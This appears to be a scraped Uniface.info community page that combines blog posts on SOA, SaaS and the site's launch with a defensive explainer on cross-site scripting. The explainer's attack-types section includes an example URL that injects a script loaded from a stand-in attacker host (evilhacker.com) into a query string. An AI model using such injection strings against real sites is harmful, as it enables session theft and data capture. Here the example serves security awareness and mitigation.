Service Oriented Architectures: What?s so new about it?

Everyone speaks about Service Oriented Architectures (SOA) nowadays, but aren?t we just repeating history? Actually, if you think about it, SOA is really nothing new. Just 10 years ago we called something quite similar ?Component Based Development?, while 20 years ago we had something called structured (or modular) programming.

In reality, what people are trying to achieve when implementing an SOA is a reduction of the number of redundant and inconsistent components that cover the same business functionality. The idea is to have only one version of every component available in the IT environment and to have client programs access these unique components over a corporate network. Isn?t that actually what we all learned when we went to college; remove potential room for inconsistencies and keep maintenance as straightforward as possible?

Is there really nothing new then, when we look at SOA?

One aspect of integrating different technologies in an SOA has definitely changed. It?s the larger number of different development languages ? often incompatible with each other ? that have to be integrated in an SOA. In reality, this is extremely complex work and often leads to failed projects.

Still it is important to do this since an actual reduction of the number of development and deployment techniques in use in any organization would create an important benefit. It would potentially lower the number of technologies an organization has to maintain from a knowledge and skills point of view. This creates an optimal result on achieving what the main goal of implementing an SOA should be: reducing costs, improving agility and freeing up development staff for building new business requirements?

Internet Application Security

Internet Application Security


– Cross Site Scripting –


Overview


The purpose of this document is to highlight that basic security issues must be considered when developing applications for the Internet. This document assumes the use of a normal HTML web browser and does discuss attacks when using other users agents i.e. WAP phones. Computer security is a broad subject that cannot be covered in full by this document alone therefore, this document will focus on the area of malicious HTML.


Introduction


Everybody is at risk! With the rapid growth of the Internet and the explosion of e-commerce, a vast majority of computer users are exposed to potential attack from unscrupulous parties. It is usually up to the application vendor to implement the security solutions.


The topics covered in this document are:


?        Identifying the risk


?        Identifying the consequences


?        Protecting the assets


This document assumes the reader is familiar with HTML and the use of scripting languages such as JavaScript.


Identifying the risk


Security breaches include unauthorized access, intrusion of viruses, theft of data or destruction of infrastructure. An important point to note from the outset is that not all attacks are from outside parties.


A web site that dynamically generates pages may inadvertently include malicious HTML tags or script based on input from untrustworthy sources. This occurs when a web application does not adequately encode the pages to prevent unexpected scripts execution, or when it does not validate the input to prevent the submission of malicious HTML.


Types of attack


Web Based E-mail and Bulletin Boards


This style of attack involves the attacker including malicious code in the message, hoping the client browser will interpret the text as code to execute instead of rendering it as part of the message e.g.


Dear Sir


I would like to say that this message <script>malicious code</script> will do something bad before you finish reading it. Ha Ha!


Regards,


Bad Person


Simple, but effective. Any service that takes input and uses it to construct an output is prone to attack. Some of the HTML tags that can be exploited are: <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.


HTTP Post using HTML Forms


The above example is one way that HTML forms can be used to introduce malicious code. An attacker can further manipulate a form taking control of the destination to which data is posted. As a web server only knows the client who posted the form and not the original server that generated the form, this is another route for exploitation. Reversing this idea slightly leads to a serious security hole in which a malicious form tag can cause data to be submitted to the attacker?s server.


HTTP GET using URLs


In this type of attack, the URL?s query string is exploited to introduce malicious code. A common example of where data in a query string appears on a dynamic page is when using a search engine. It is common to see a URL such as:


http://www.searchsite.com/search.asp?lookfor=?word?


It is not uncommon for the search criteria to be included in the resulting output. Now consider the following URL introduced on a page by an attacker:


http://www.safesite.com/abc.asp?lookfor=?<script src=http://www.evilhacker.com/evil.jss></script>?


If the input is not validated, the attacker?s script could easily execute when the site is visited.


Identify the consequences


The results of a cross-site scripting attack can range from attackers showing their presence by inserting annoying messages, up to the very criminal activity of capturing credit card numbers and user details. Other variations of serious criminal activity are the capturing and possible altering of sensitive information from behind an organisations firewall.


The script written by an attacker will execute in the context of the connection to the original site. This means many of the in built security checks will not detect any breaches, as the content will be trusted, having all come from the trusted server.


An attacker who is able to introduce malicious script into a web page can ultimately do anything a legitimate developer can do. Note: some scripting languages and associated technologies are very security conscious, giving little potential for damage however, others are less secure exposing many elements of a system to abuse.


The following are some of the common concerns relating to malicious scripts.


Secure Socket Layer Communication


The structure of SSL is such that and attacker cannot tap into a connection and cause mischief. SSL encrypts data so that if an attacker does tap the connection, they will be faced with a stream of cipher text that is practically impossible to decode. Unfortunately, this is not immune to malicious HTML. The core function of SSL is to maintain a secure channel to transmit data and it does this very well. What SSL does not do, is verify that the data being sent is of a secure nature. An attacker will usually be able to introduce malicious script before a secure session is instantiated. This script will then execute in the context of the current connection and will not be identified as bad. One of biggest risks here is exposing sensitive information such as credit card details. A client?s browser will usually warn if data is about to be directed away from a secure site however, an attacker can bypass this by running their own secure server.


Cookies


Attacks can be made persistent by the use of cookies. An attacker can create a cookie containing script that is later loaded against a legitimate web site. A cookie can be constructed to affect a particular area of a web site or the whole domain.


Firewalls


If an attacker can introduce script into an organisations public site that is also used internally, intranet information may be exposed without the attacker ever having to break through the firewall.


Forms


This main consequence to forms is that the attacker can expose all of the forms data, change validation rules and even direct the posted information to their own web server.


Protecting the assets


Web Developers


Web-site developers must recognize that the pages they produce will be exposed to everyone connected to the Internet and that not all of the users can be trusted. An area where awareness of this problem is most understood is on discussion groups. Developers understand that content submitted by a user, may be viewed by many other users. Filters and validation routines are applied to prevent the insertion of malicious script, and in the case of any script that should be displayed, all input is properly translated to make sure that the content is rendered and not executed.


Organizations with web sites should analyze those with dynamic content driven by end users. Sites that rely on cookies should also be looked at. Any sites considered to be at risk should immediately be updated to filter and validate the input streams. Developers must remember that any data requested from their sites is sent in the context of originating from their site. If untrusted content is to be sent from a trusted server, filtering and validation of the output stream must be a mandatory requirement of the application.


Filtering


Simple filtering can yield effective prevention of most cross-site scripting attacks. In the crudest fashion, a developer can remove certain characters from the input or output stream before further processing. Common examples of these characters are <, > and %, which can all be used to insert client and server side script.


This first type of filtering is not always an ideal solution, as the characters may be valid for the purpose of the site e.g. a JavaScript discussion forum. In this case it may be more appropriate to translate the characters into their HTML translated equivalents e.g. < becomes < and > becomes > These equivalents will be rendered as original characters, rather than being interpreted as HTML code.


Web Users


Users cannot completely protect themselves as it is up to the web designers to build sites that are secure from cross-site scripting attacks. The main solutions available to users tend to add a level of inconvenience because they reduce browser functionality. The user solutions can prevent malicious scripting but cannot prevent malicious HTML.


The first option available to a user is to disable the execution of scripting languages, Java Applets and ActiveX controls. Cookies should also be disabled and all cached information cleared at the end of each browsing session. It is clear that although this provides a good level of protection, the usability of legitimate sites will suffer greatly.  


The second option involves the user being careful about which sites they visit and which links they follow. Users should be more careful about accepting downloads they have not explicitly requested and also be wary of automatic site redirection. This solution is more risky but retains all of the browser?s functionality.


Ultimately, the only solution to this security problem is to design the site correctly.

Uniface.info community website

What is the purpose of the Uniface.info community website and how will your input be a key to its success.

 

June 2008 has been a very exciting month for the Uniface team. Next to Uniface user events in US, Belgium, Eastern Europe and Netherlands, the Uniface.info website was launched. In this BLOG I would like to explain why we launched Uniface.info, what you can expect from it and what is expected from you as community member.

 

 

The Uniface product exists now for 24 years and, as we always experience at user events, has many enthusiastic supporters in countries inAmerica, Europe, Asia andAustralia. Many professional Uniface developers have build their software careers on working with Uniface. By Uniface developers I mean people who work for companies using Uniface as development suite but also developers working in the Uniface lab, who build and maintain new and existing Uniface versions. For all these groups of developers, several communication channels already exist. Some countries with active user groups have their own website like the UUG, CBG and Face to Face and Compuware has its own channels like Frontline and Compuware.com.

 

 

Each of these channels serves its own purpose and is visited by specific groups within the Uniface community. Nobody in the Uniface community has time to visit all websites; everybody is always very busy in developing, designing, testing or documenting Uniface applications. This also implies that not all information regarding technical questions (and answers!), wishes, experiences, work arounds, available tools and relevant market and technology trends are always shared by the community.

 

 

The Uniface.info website is started to create a global communication channel for everybody who is professionally working with Uniface. Its purpose is not replace any existing Uniface websites or forums but be a global point of information and contact for all Uniface professionals.

 

 

Looking at the number of registrants (>170) in the first 4 weeks it is clear that many Uniface professionals are interested in a global Uniface website, especially if you keep in mind the new website was only announced at the user events in US, Eastern Europe and Netherlands. So don’t be surprised if you see many names from these countries when you go to the “Members” area.

 

 

These first few weeks I see as the start phase of the community website. Starting a community website is the easy part of the work these days. Keeping it alive and interesting is the next and more important step and that?s were we rely on our community members. For the Uniface Community website Compuware and the Uniface lab will take care of the basics of the website like hosting, moderating and adding new content in BLOGs, downloads, calendar and other announcements. We also have plans for implementing a global wish list application (in Uniface of course) with a voting mechanism and publish tools, utilities, presentations and training material. Look at the “Files” section for the first contributions.  Also theUnifaceAcademy material will be published on the Uniface.info site, for free.

 

 

As always with community websites, the real long-term success depends on the activities of the community members themselves. The community really starts to work when community members communicate and work with each other to find answers to their questions and give clear views on how they want the Uniface community to develop in the future.   Your active participation is crucial to have successful discussions in the forum area but also your contributions like Uniface tools and utilities will be very much appreciated by your fellow community members.

 

 

All your feedback, ideas and other contributions regarding the Uniafce community are very welcome. Also we look forward to hear how we can improve the website and what special interest areas you have for Uniface.info. Please start these discussions in the forum. I have made a special forum topic called “Uniface community” for this purpose. I would like to invite you all to use it.

 

 

Hope to speak with you soon at a Uniface user group meeting in your country, at the Uniface.info site and of course at CU2008 December 1 and 2 inAmsterdam!

 

 

Kind regards

 

Ton Blankers

 

Product Manager Uniface

 

SaaS: Opportunity or Threat?






 


SaaS: Opportunity or Threat?


 


 


There?s no doubt that the SaaS (Software as a Service) model will have a big impact on VAR?s (Value Added Resellers). The large benefits that the SaaS model has for the end customers of VAR?s will eventually become make this model eventually a dominating market driver.


 


One of those benefits is the reduction ? or even complete prevention ? of any risk involved in implementing a standard application in-house. This aspect of SaaS is often a bit undervalued; most of the time vendors only speak about cost reductions and other operational benefits. In reality however, cutting out risk is far more compelling for customers. With SaaS they don?t have to invest in hardware, networks, database software or even in the VAR application itself. They can choose to have an application on trial for a period and if it doesn?t fit, they can go to the next supplier without losing previous investments.


 


As a result of this, two things will happen: customers will be far more flexible and therefore critical and at the same time, vendors will be forced to excel and deliver the most intuitive, flexible and functionally rich applications.


 


In the Uniface world, I see two types of VAR?s: those who benefit and see this upcoming SaaS market as a great opportunity for further growth or even as an inroad to new markets. There are also VAR?s who are telling me that SaaS has no impact on their (niche) market and that their application domain is not suitable for SaaS in the first place. Though in certain instances this might be true, for security, performance or other reasons, I always ask myself, what would actually happen if a new player would come into such a particular market?


 


SaaS is not going away; it?s the logical consequence of the Internet: ?the network becomes the computer?.


My question that I have for VAR?s is simple: will you benefit from the opportunity or will it become your biggest threat?


 

Welcome to the Uniface community (Some parts are under construction)

Uniface.info is an online community for developers and people working with uniface to connect with each other. The site allows people to find answers, share knowledge, display their expertise and collaborate on projects.

Through Uniface.info, members can share articles, source code, tips, news and components. Through joining groups, members can exchange ideas and information with others with similar interests.

Welcome to the online Uniface Community. The Uniface community site is a global communication channel for professional users of Uniface Enterprise Application Development